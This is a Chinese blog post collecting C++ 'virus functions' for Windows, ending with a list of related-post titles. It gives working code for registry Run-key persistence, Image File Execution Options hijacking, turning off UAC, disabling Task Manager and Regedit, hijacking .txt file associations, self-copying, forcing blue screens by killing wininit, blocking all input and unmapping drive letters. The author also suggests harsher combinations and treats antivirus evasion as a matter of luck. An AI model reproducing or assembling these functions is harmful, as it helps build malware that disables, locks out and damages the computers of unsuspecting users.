C++基础病毒性函数汇总
总结了几个 比较常见的、比较基础的病毒函数。高端的肯定是不会列在这里的。
温馨而又冰冷的提示: 严禁用于非法用途哦!!!!
前方高能,请做好心理准备。
<必备头文件:Windows.h>
1.电源类
这几个也没啥技术含量,但反复调用的杀伤力还是挺强的(开机瞬关)。
(1)注销
VOID Logoff(VOID)
{WinExec("logoff.exe",SW_HIDE);//或shutdown -l -t 0
}
(2)关机
VOID ShutdownNow(VOID)
{WinExec("shutdown -p",SW_HIDE);//-p是瞬间 关机 的意思,不是瞬间的意思
}
(2)重启
VOID Reboot(VOID)
{WinExec("shutdown -r -t 0",SW_HIDE);
}
如果真的要自己用函数写的话要用到ExitWindowsEx()。
(3)睡眠或休眠
这个没啥用,但还是写在这里。
VOID SystemSleep(WINBOOL bSuspend=TRUE,WINBOOL bForce=FALSE)
{ //首参数TRUE睡眠,FALSE休眠
//调来权限HANDLE token = NULL;TOKEN_PRIVILEGES tp = { 0 };tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token);AdjustTokenPrivileges(token,FALSE,&tp,sizeof(tp),NULL,NULL);CloseHandle(token);SetSystemPowerState(bSuspend,bForce); // 首参数TRUE睡眠,FALSE休眠
}
2.注册表类
这一类非常非常重要,掌握着军事大权,而且非常危险。。都是系统核心内容,比较费心。
注意:必须管理员权限!!
怎么获取它?可以见 这里
(1)开机自启
这个方法很多,详见 这里
举一种简单的(不简单的自己研究):
WINBOOL SettleBoot(LPCSTR keyname, //键值名,随便你LPCSTR fullName=_pgmptr, //默认值就是自己LPCSTR param=NULL)
{HKEY hKey; char str[280];//找到系统的启动项 LPCSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //打开启动项long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); if(lRet == ERROR_SUCCESS) { if(param != NULL) //如果要用参数 {sprintf(str,"\"%s\" %s",fullname,param);}//添加一个子键,并设置值lRet = RegSetValueEx(hKey, keyname, 0, REG_SZ, (BYTE *)(param == NULL ? fullName : str), strlen(param == NULL ? fullName : str));//关之 RegCloseKey(hKey); if(lRet != ERROR_SUCCESS) { return false;} return true;}else{return false;}
}
呃. . .
能不能逃过 杀软的法眼 看运气,
但本文大部分函数下场都很惨。
没杀软才叫尽兴!!
(2)镜像劫持
这个有点恐怖了,毕竟还是很神奇的一个技术,
「移花接木」之大法。
还是听不懂的看 百科
不过有一些程序是绑不动的(亲试),例如mmc,iexplore.
上代码:
//我还是别用IFEO这个名称好,因为这简直是黑白颠倒:IFEO并不是镜像劫持的意思。
VOID ImageHijack(LPCSTR exe,LPCSTR real_exe)
{ //镜像劫持技术,第二个参数添实际运行对象//HKEY hkey;char str[280];sprintf(str,"REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s\" /v Debugger /t REG_SZ /d \"%s\" /f",exe,real_exe);
WinExec(str,SW_HIDE);return;
}
哦哈哈,把cmd绑了之后任何.bat都挂了。。。
我估计wscript和cscript不让绑,具体我也懒得试。
(3)关闭UAC
这个可能比较有用,在申请管理员权限的时候不再跳出框框,不再让用户抉择。
不过唯一的BUG,
就是右下角会弹出“重启计算机才能关闭用户账户控制”的消息,
为此我隐藏了任务栏,不过还是能凭空跳出来(尬)。。
只有重启才能生效哦!!
函数代码:
void CloseUAC(VOID)
{//须管理员权限 WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"ConsentPromptBehaviorAdmin\" /t REG_DWORD /d 0 /F",SW_HIDE);WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\" /t REG_DWORD /d 0 /F",SW_HIDE);WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"PromptOnSecureDesktop\" /t REG_DWORD /d 0 /F",SW_HIDE);
}//关机后应用
三管齐下,相得益彰。一重启就可以为所欲为了!!!
(4)禁用任务管理器
很多用户弄不掉进程就开它,拿下面只一招把它毙了!
:D
VOID RegDisableTaskmgr(DWORD dwDisable=TRUE)
{HKEY hkey;DWORD v = dwDisable;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));RegCloseKey(hkey);
}
好!接着干!↓
(5)禁用注册表编辑器
使用注册表编辑器可以很方便地修改键值,把它封了还能逞吗?
VOID RegDisableRegedit(DWORD dwDisable=TRUE)
{HKEY hkey;DWORD v = dwDisable;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));RegCloseKey(hkey);
}
OK,于是用户开始网上求助。。发现有什么.inf安装恢复,还有啥.reg写上去恢复的,更有甚者打开gpedit.msc进行恢复的。。
像我的话我就会 “每隔4秒taskkill一次notepad,一次wordpad,每隔10秒删掉全盘所有.reg||.inf||.js||.vbs,加上随时检测标题为 '本地组策略编辑器’的窗口 如果有就蓝屏抗议” 的方法, 可能有点过分,这些方法任大家自由发挥。
(6)txt文件自启
这个也是必备的,不过我这里老是无效果,单独拿出来就好了。真是奇怪。
VOID TextFileBoot(LPCSTR Wholepath=_pgmptr,LPCSTR param=NULL)
{ //默认值:notepad.exe %1 DWORD len;HKEY hkey;LPSTR str;if(param != NULL){sprintf(str,"\"%s\" %s",Wholepath,param);}len = strlen(param == NULL ? Wholepath : str);LPCSTR data_set = "txtfile\\shell\\open\\command";RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey);RegSetValueEx(hkey, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)(param == NULL ? Wholepath : str), len);RegCloseKey(hkey);
}
一定要先打开notepad打幌子哦!!!
可以举一反三,把exe,vbs等全和自己连起来,达到条条大路跑病毒的效果。
3.其它技能
(1)自我复制
这个应该很常见,与(2)相搭配简直媲美!
提示:若要迁到C盘须管理员权限哦!
VOID CopyMyselfTo(LPCSTR lpTargetPath) {char tcBuf[MAX_PATH];GetModuleFileName(NULL,tcBuf,sizeof(tcBuf));CopyFile(tcBuf,lpTargetPath,FALSE);
}//这个函数哪里摘的我忘了,但我心存感激。
(2)自我删除
懒得写了,可以看看 别人的
。。凡是自我删除的都是有一些不稳定。。像我这个带多个参数的病毒就只能拜托副本了。
(3)互守(防杀)
这个东西反而让我的程序变得一塌糊涂。。不过还行。
可以试一下。。
链接
(4)蓝屏
通过暴力杀掉系统关机进程达到效果。
注意:须管理员权限!!
几个关键进程:lsass ,smss,csrss,winlogon(高版本不行),wininit,system 等等等。
不过能否杀了都蓝屏就不一定了。
这里用wininit做实验对象:
VOID BlueScreen(VOID)
{system("taskkill /im wininit.exe /f");
}
WinXP一定蓝屏的,win7可能可以。win10一定不行。
高版本的蓝屏有是有,但有点危险;你可以自己去别的地方找找看。
(5)黑屏(假的)
实则是关闭显示器,但和直接按显示屏的电源的区别是 可以晃鼠标唤醒!跟睡眠有点相似。
没啥用,不过可以吓吓人。
VOID BlackScreen(VOID)
{ //暂时黑屏 PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
}
(6)锁定鼠标
冻结鼠标的效果不言而喻:
VOID FreezeMouse(bool setPos=false, POINT pos={0,0})
{ //冻结鼠标!! RECT rect;if(setPos){rect.left = pos.x;rect.right = pos.x;rect.top = pos.y;rect.bottom = pos.y;ClipCursor(&rect);}else{POINT pt;GetCursorPos(&pt);rect.left = pt.x;rect.right = pt.x;rect.top = pt.y;rect.bottom = pt.y;ClipCursor(&rect);}
}
这个函数参数
不填或填false可以就地冻结;
填true和一个坐标可以冻在某个点上。(作)
附加解冻:
VOID UnfreezeMouse(VOID)
{ClipCursor(NULL);
}
该函数有个bug就是换个窗口就失效了。
这样的话可以换用持续设置鼠标坐标来达到冻结的效果。
(7)屏蔽输入
这个杀伤力还是很强的,如果要试的话别忘了几秒后再取消屏蔽。否则只能按机箱上的按钮重启了
需头文件 winable.h。
注意:GCC编译器是必须要包含Winable.h的,但较高版本的VC好像把winable.h移除了,把BlockInput()放到winuser.h里定义了。VC(例如使用Visual Studio)使用windows.h就行了
VOID FreezeInput(VOID)
{BlockInput(TRUE);
}VOID UnfreezeInput(VOID)
{BlockInput(FALSE);
}
可以试试。
(8)窗口毁容
我不知这是我这里天生的BUG还是怎么样,去除标题栏竟然有这般效果:
程序不崩,窗口弄成一个虚无的图形挂在桌面上,极易被刷新掉。
函数:
VOID DisfigureWindow(HWND hwnd)
{ //使窗口毁容!!!! LONG avatar=GetWindowLong(hwnd,0);avatar = avatar & ~WS_CAPTION;SetWindowLong(hwnd,GWL_STYLE,avatar);
}
(9)移动窗口
这个看起来没啥杀伤力,但配合GetForegroundWindow()起来不要太牛。
LONG GetWindowWidth(HWND hwnd=GetConsoleWindow()){RECT rect=GetWindowRect(hwnd);return (rect.right - rect.left);
}
LONG GetWindowHeight(HWND hwnd=GetConsoleWindow()){RECT rect=GetWindowRect(hwnd);return (rect.bottom - rect.top);
}
//简洁版,自动获取大小的重载
WINBOOL MoveWindow(HWND hwnd=GetConsoleWindow(),int X=0,int Y=0,bool bRepaint=true){LONG w,h;w=GetWindowWidth(hwnd);h=GetWindowHeight(hwnd);MoveWindow(hwnd,X,Y,w,h,bRepaint);
}
(10)消息的显示
病毒一般会显示几个恶心的消息,可以用下面几种方法:
①对话框
这个不讲了,太简单了,一般都是调用其他(例如自己的副本)来产生对话框,否则会阻塞的。
看这里吧
②托盘消息
封装一下就很好用了:
安装
//***WARNING***:NO MFC MACROS!!!!!#define IDR_MAINFRAME NULL#define WM_PROC WM_SHOWWINDOW//备注:我不是MFC,没有这俩,自己弄出来的,也没啥影响。。苟且偷生吧。
NOTIFYICONDATA SetupTray(HWND hwnd,LPCSTR label="Program")
{NOTIFYICONDATA m_nid;m_nid.cbSize=sizeof(NOTIFYICONDATA);// 结构大小m_nid.hWnd=hwnd; // 接收 托盘通知消息 的窗口句柄m_nid.uID=IDR_MAINFRAME; m_nid.uFlags=NIF_MESSAGE;//表示uCallbackMessage 有效 m_nid.uCallbackMessage=WM_PROC; // 消息被发送到此窗口过程m_nid.hIcon=::LoadIcon(::GetModuleHandle(NULL),MAKEINTRESOURCE(IDR_MAINFRAME)); strcpy(m_nid.szTip,label); // 提示文本WINBOOL res = Shell_NotifyIcon(NIM_ADD,&m_nid); return m_nid;
}
返回值要接住哦!↕
消息直达
WINBOOL TrayTip(NOTIFYICONDATA m_nid,LPCTSTR szMsg,LPCTSTR szTitle="TrayTip",DWORD dwInfoFlags=NIIF_INFO,UINT uTimeout=1000)
{ //Win7: Ballon style Win10: Metro stylem_nid.cbSize=sizeof(NOTIFYICONDATA);m_nid.uFlags = NIF_INFO;m_nid.uVersion = NOTIFYICON_VERSION;m_nid.uTimeout = uTimeout;m_nid.dwInfoFlags = dwInfoFlags;strcpy(m_nid.szInfo,szMsg ? szMsg : _T(""));strcpy(m_nid.szInfoTitle,szTitle ? szTitle : _T(""));return Shell_NotifyIcon(NIM_MODIFY, &m_nid);
}
把接住的东西放到首参数里,第二个是消息,第三个是标题,第四个是样式(自己Ctrl+Click看看),第五个是时长(单位ms)
卸载
WINBOOL UnloadTray(NOTIFYICONDATA m_nid)
{return Shell_NotifyIcon(NIM_DELETE,&m_nid);
}
再传这儿一下就好了。
(11)隐藏任务栏
一个ShowWindow就好了。
VOID HideTaskbar(VOID)
{ShowWindow(FindWindow("Shell_TrayWnd", NULL),SW_HIDE);
}
(12)篡改盘符
警告:慎用。要试也是在虚拟机里试。
BOOL DeleteDrive(LPCSTR SThide)
//篡改盘符 //填 C: D:之类
{if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, "")) //把已有的盘符定义为空,导致无法访问磁盘return false;return true;
}
假如填C:
运行后刷新一下,发现整个桌面只剩Recycle Bin了,整个系统都瘫痪了
(13)按键
这个也说得过去,看上去不咋的,但你用用下面这个语句,会发现发生了奇怪的事情,除非按一下Ctrl.
keybd_event(VK_LCONTROL,0,0,0); //只按不放
按键详见 这里
参考文献
C语言编写简易病毒 https://blog.csdn.net/hbhgyu/article/details/77775926
Post Exploitation Using WMIC (System Command)https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/)
windows程序托盘图标以及消息提示–示例程序https://blog.csdn.net/wangshubo1989/article/details/49533051
使用C语言让Windows睡眠/休眠
https://www.kechuang.org/t/82297
等。
C++基础病毒性函数汇总相关推荐
- Opencv的使用小教程1——Opencv基础函数汇总
Opencv的使用小教程1--Opencv基础函数汇总 1.VideoCapture 2.imread 3.resize 4.clone 5.cvtColor 6.Scalar 7.获取像素点的值 8 ...
- string.h包含哪些函数_Excel进行数据分析常用方法及函数汇总—【杏花开生物医药统计】...
Excel是数据分析工作中经常使用的一种工具,经常包含着大量的原始数据,它功能十分强大,除了能录入.整理数据之外,还能进行一些常规的基础的数据分析,那么这里面就需要用到很多函数,今天就来给大家介绍一些 ...
- MySQL创建字段+数据处理函数+汇总数据(聚集函数)+分组数据
[0]README 0.1)本文部分文字描述转自"MySQL 必知必会",旨在review"MySQL创建字段+数据处理函数+汇总数据(聚集函数)+分组数据" ...
- python中函数的定义实例_Python基础之函数的定义与使用实例
此文实例介绍了Python基础之函数的定义与使用.推荐给大伙学习一下,内容如下: Python 定义函数使用 def 关键字,一般格式如下: def 函数名(参数列表): 函数体 让我们使用函数来输出 ...
- python代码大全和用法用量_python零基础入门命令方式汇总大全,快速恶补你的Python基础...
原标题:python零基础入门命令方式汇总大全,快速恶补你的Python基础 无意中浏览到这篇来自大牛的分享,总结的很全面,我重新排版下放在这里,希望能帮助到大家.在此十分感谢原作者! 在开始之前还是 ...
- laravel获取当前的url以及当前的基础域名方法汇总
原文地址:https://phpartisan.cn/news/58.html 来源于:laravel获取当前的url以及当前的基础域名方法汇总 - Laravel学习网 laravel中我们常常需要 ...
- python基础函数及用法意思_Python基础之函数基本用法与进阶详解
本文实例讲述了Python基础之函数基本用法与进阶.分享给大家供大家参考,具体如下: 目标 函数参数和返回值的作用 函数的返回值 进阶 函数的参数 进阶 递归函数 01. 函数参数和返回值的作用 函数 ...
- python基础代码大全-python零基础入门命令方式汇总大全,快速恶补你的Python基础...
原标题:python零基础入门命令方式汇总大全,快速恶补你的Python基础 无意中浏览到这篇来自大牛的分享,总结的很全面,我重新排版下放在这里,希望能帮助到大家.在此十分感谢原作者! 在开始之前还是 ...
- C# 零基础入门知识点汇总
C# 零基础入门 知识点汇总 前言 一,基础语法(1~10) 二,流程控制(11~20) 三,数组相关(21~30) 四,函数介绍(31~40) 五,类和对象(41~50) 六,面向对象(51~60) ...
- Hive内置函数与常用函数汇总
目录 Hive内置函数汇总 字符函数(字符串操作) 数学函数 集合函数 类型转换函数 日期函数 条件函数 聚合函数 表生成函数 辅助功能类函数 数据屏蔽函数(从Hive 2.1.0开始) Hive常用 ...
最新文章
- 大型网站 linux,大型网站架构演变
- java-第七章-数组-循环输出
- Oracle10g备份集压缩新特性(Backupset Compression)
- [安全攻防进阶篇] 一.什么是逆向分析、逆向分析应用及经典扫雷游戏逆向
- 使用MRUnit测试Hadoop程序
- matlab生成exe独立运行文件已破解(好用)
- 【BZOJ4247】挂饰,又一个奇特的背包
- mysql all privilege权限
- 【MS SQL】通过执行计划来分析SQL性能
- C 类IP 地址,连接6 个子公司
- WIN7系统的虚拟机C盘扩容步骤
- 可爱符号可爱符号可爱符号
- NOIP 2015 简记
- 南卡和三星蓝牙耳机哪个戴着舒服?佩戴舒适的蓝牙耳机推荐
- 十分钟,让你了解DSP/DMP/SSP
- 第二课 IDEA 的使用
- Qt中几个函数的使用方法
- 使用exe4j打包Java桌面程序为exe
- 求求你!不要在网上乱拷贝代码了
- G2调整legend文字的字体颜色